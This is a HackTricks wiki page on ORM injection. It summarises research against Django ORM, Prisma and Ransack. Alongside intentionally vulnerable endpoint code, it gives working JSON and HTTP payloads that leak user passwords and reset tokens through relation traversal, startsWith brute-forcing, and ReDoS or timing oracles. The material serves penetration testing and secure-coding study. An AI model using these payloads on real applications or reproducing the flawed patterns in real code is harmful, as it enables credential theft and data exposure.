mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
366 lines
13 KiB
Markdown
366 lines
13 KiB
Markdown
|
# ORM Injection
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Django ORM (Python)
|
||
|
|
||
|
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) is explained how it's possible to make a Django ORM vulnerable by using for example a code like:
|
||
|
|
||
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||
|
"""
|
||
|
Some basic API view that users send requests to for
|
||
|
searching for articles
|
||
|
"""
|
||
|
def post(self, request: Request, format=None):
|
||
|
try:
|
||
|
<strong> articles = Article.objects.filter(**request.data)
|
||
|
</strong> serializer = ArticleSerializer(articles, many=True)
|
||
|
except Exception as e:
|
||
|
return Response([])
|
||
|
return Response(serializer.data)
|
||
|
</code></pre>
|
||
|
|
||
|
Note how all the request.data (which will be a json) is directly passed to **filter objects from the database**. An attacker could send unexpected filters in order to leak more data than expected from it.
|
||
|
|
||
|
Examples:
|
||
|
|
||
|
* **Login:** In a simple login try to leak the passwords of the users registered inside of it.
|
||
|
|
||
|
```json
|
||
|
{
|
||
|
"username": "admin",
|
||
|
"password_startswith":"a"
|
||
|
}
|
||
|
```
|
||
|
|
||
|
{% hint style="danger" %}
|
||
|
It's possible to brute-force the password until it's leaked.
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Relational filtering**: It's possible to traverse relations in order to leak information from columns that weren't even expected to be used in the operation. For example, if it's possible to leak articles created by a user withe these relations: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
||
|
|
||
|
```json
|
||
|
{
|
||
|
"created_by__user__password__contains":"pass"
|
||
|
}
|
||
|
```
|
||
|
|
||
|
{% hint style="danger" %}
|
||
|
It's possible to find the password of all the users that have created an article
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Many-to-many relational filtering**: In the previous example we couldn't find passwords of users that haven't created an article. However, following other relationships this is possible. For example: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||
|
|
||
|
```json
|
||
|
{
|
||
|
"created_by__departments__employees__user_startswith":"admi"
|
||
|
}
|
||
|
```
|
||
|
|
||
|
{% hint style="danger" %}
|
||
|
In this case we can find all the users in the departments of users that have created articles and then leak their passwords (in the previous json we are just leaking the usernames but then it's possible to leak the passwords).
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Abusing Django Group and Permission many-to-may relations with users**: Moreover, the AbstractUser model is used to generate users in Django and by default this model has some **many-to-many relationships with the Permission and Group tables**. Which basically is a default way to **access other users from one user** if they are in the **same group or share the same permission**.
|
||
|
|
||
|
```bash
|
||
|
# By users in the same group
|
||
|
created_by__user__groups__user__password
|
||
|
|
||
|
# By users with the same permission
|
||
|
created_by__user__user_permissions__user__password
|
||
|
```
|
||
|
|
||
|
* **Bypass filter restrictions**: The same blogpost proposed to bypass the use of some filtering like `articles = Article.objects.filter(is_secret=False, **request.data)`. t's possible to dump articles that have is\_secret=True because we can loop back from a relationship to the Article table and leak secret articles from non secret articles because the results are joined and the is\_secret field is checked in the non secret article while the data is leaked from the secret article.
|
||
|
|
||
|
```bash
|
||
|
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||
|
```
|
||
|
|
||
|
{% hint style="danger" %}
|
||
|
Abusing relationships it's possible to bypass even filters meant to protect the data shown.
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Error/Time based via ReDoS**: In the previous examples it was expected to have different responses if the filtering worked or not to use that as oracle. But it could be possible that some action is done in the database and the response is always the same. In this scenario it could be possible to make the database error to get a new oracle.
|
||
|
|
||
|
```json
|
||
|
// Non matching password
|
||
|
{
|
||
|
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
||
|
}
|
||
|
|
||
|
// ReDoS matching password (will show some error in the response or check the time)
|
||
|
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
||
|
```
|
||
|
|
||
|
From te same post regarding this vector:
|
||
|
|
||
|
* **SQLite**: Doesn't have a regexp operator by default (require loading a third-party extension)
|
||
|
* **PostgreSQL**: Doesn't have a default regex timeout and it's less prone to backtracking
|
||
|
* **MariaDB**: Doesn't have a regex timeout
|
||
|
|
||
|
## Prisma ORM (NodeJS)
|
||
|
|
||
|
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
||
|
|
||
|
* **Full find contro**l:
|
||
|
|
||
|
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
||
|
|
||
|
app.use(express.json());
|
||
|
|
||
|
app.post('/articles/verybad', async (req, res) => {
|
||
|
try {
|
||
|
// Attacker has full control of all prisma options
|
||
|
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
||
|
</strong> res.json(posts);
|
||
|
} catch (error) {
|
||
|
res.json([]);
|
||
|
}
|
||
|
});
|
||
|
</code></pre>
|
||
|
|
||
|
It's possible to see that the whole javascript body is passed to prisma to perform queries.
|
||
|
|
||
|
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
|
||
|
|
||
|
```json
|
||
|
{
|
||
|
"filter": {
|
||
|
"include": {
|
||
|
"createdBy": true
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// Response
|
||
|
[
|
||
|
{
|
||
|
"id": 1,
|
||
|
"title": "Buy Our Essential Oils",
|
||
|
"body": "They are very healthy to drink",
|
||
|
"published": true,
|
||
|
"createdById": 1,
|
||
|
"createdBy": {
|
||
|
"email": "karen@example.com",
|
||
|
"id": 1,
|
||
|
"isAdmin": false,
|
||
|
"name": "karen",
|
||
|
"password": "super secret passphrase",
|
||
|
"resetToken": "2eed5e80da4b7491"
|
||
|
}
|
||
|
},
|
||
|
...
|
||
|
]
|
||
|
```
|
||
|
|
||
|
The following one selects all the posts created by someone with a password and wil return the password:
|
||
|
|
||
|
```json
|
||
|
{
|
||
|
"filter": {
|
||
|
"select": {
|
||
|
"createdBy": {
|
||
|
"select": {
|
||
|
"password": true
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
// Response
|
||
|
[
|
||
|
{
|
||
|
"createdBy": {
|
||
|
"password": "super secret passphrase"
|
||
|
}
|
||
|
},
|
||
|
...
|
||
|
]
|
||
|
```
|
||
|
|
||
|
* **Full where clause control**:
|
||
|
|
||
|
Let's take a look to this where the attack can control the `where` clause:
|
||
|
|
||
|
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
||
|
try {
|
||
|
const posts = await prisma.article.findMany({
|
||
|
<strong> where: req.query.filter as any // Vulnerable to ORM Leaks
|
||
|
</strong> })
|
||
|
res.json(posts);
|
||
|
} catch (error) {
|
||
|
res.json([]);
|
||
|
}
|
||
|
});
|
||
|
</code></pre>
|
||
|
|
||
|
It's possible to filter the password of users directly like:
|
||
|
|
||
|
```javascript
|
||
|
await prisma.article.findMany({
|
||
|
where: {
|
||
|
createdBy: {
|
||
|
password: {
|
||
|
startsWith: "pas"
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
})
|
||
|
```
|
||
|
|
||
|
{% hint style="danger" %}
|
||
|
Using operations like `startsWith` it's possible to leak information. 
|
||
|
{% endhint %}
|
||
|
|
||
|
* **Many-to-many relational filtering bypassing filtering:** 
|
||
|
|
||
|
```javascript
|
||
|
app.post('/articles', async (req, res) => {
|
||
|
try {
|
||
|
const query = req.body.query;
|
||
|
query.published = true;
|
||
|
const posts = await prisma.article.findMany({ where: query })
|
||
|
res.json(posts);
|
||
|
} catch (error) {
|
||
|
res.json([]);
|
||
|
}
|
||
|
});
|
||
|
```
|
||
|
|
||
|
It's possible to leak not published articles by lopping back to the many-to-many relationships between `Category` -\[\*..\*]-> `Article`:
|
||
|
|
||
|
```json
|
||
|
{
|
||
|
"query": {
|
||
|
"categories": {
|
||
|
"some": {
|
||
|
"articles": {
|
||
|
"some": {
|
||
|
"published": false,
|
||
|
"{articleFieldToLeak}": {
|
||
|
"startsWith": "{testStartsWith}"
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
|
||
|
It's also possible to leak all the users abusing some loop back many-to-many relationships:
|
||
|
|
||
|
```json
|
||
|
{
|
||
|
"query": {
|
||
|
"createdBy": {
|
||
|
"departments": {
|
||
|
"some": {
|
||
|
"employees": {
|
||
|
"some": {
|
||
|
"departments": {
|
||
|
"some": {
|
||
|
"employees": {
|
||
|
"some": {
|
||
|
"departments": {
|
||
|
"some": {
|
||
|
"employees": {
|
||
|
"some": {
|
||
|
"{fieldToLeak}": {
|
||
|
"startsWith": "{testStartsWith}"
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
|
||
|
* **Error/Timed queries**: In the original post you can read an very extensive set of tests performed in order to find the optimal payload to leak information with a time based payload. This is:
|
||
|
|
||
|
```json
|
||
|
{
|
||
|
"OR": [
|
||
|
{
|
||
|
"NOT": {ORM_LEAK}
|
||
|
},
|
||
|
{CONTAINS_LIST}
|
||
|
]
|
||
|
}
|
||
|
```
|
||
|
|
||
|
Where the `{CONTAINS_LIST}` is a list with 1000 strings to make sure the **response is delayed when the correct leak is found.**
|
||
|
|
||
|
## **Ransack (Ruby)**
|
||
|
|
||
|
These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
**Note that Ransack 4.0.0.0 now enforce the use of explicit allow list for searchable attributes and associations.**
|
||
|
{% endhint %}
|
||
|
|
||
|
**Vulnerable example:**
|
||
|
|
||
|
```ruby
|
||
|
def index
|
||
|
@q = Post.ransack(params[:q])
|
||
|
@posts = @q.result(distinct: true)
|
||
|
end
|
||
|
```
|
||
|
|
||
|
Note how the query will be defined by the parameters sent by the attacker. It was possible to for example brute-force the reset token with:
|
||
|
|
||
|
```http
|
||
|
GET /posts?q[user_reset_password_token_start]=0
|
||
|
GET /posts?q[user_reset_password_token_start]=1
|
||
|
...
|
||
|
```
|
||
|
|
||
|
By brute-forcing and potentially relationships it was possible to leak more data from a database.
|
||
|
|
||
|
## References
|
||
|
|
||
|
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
||
|
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
||
|
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|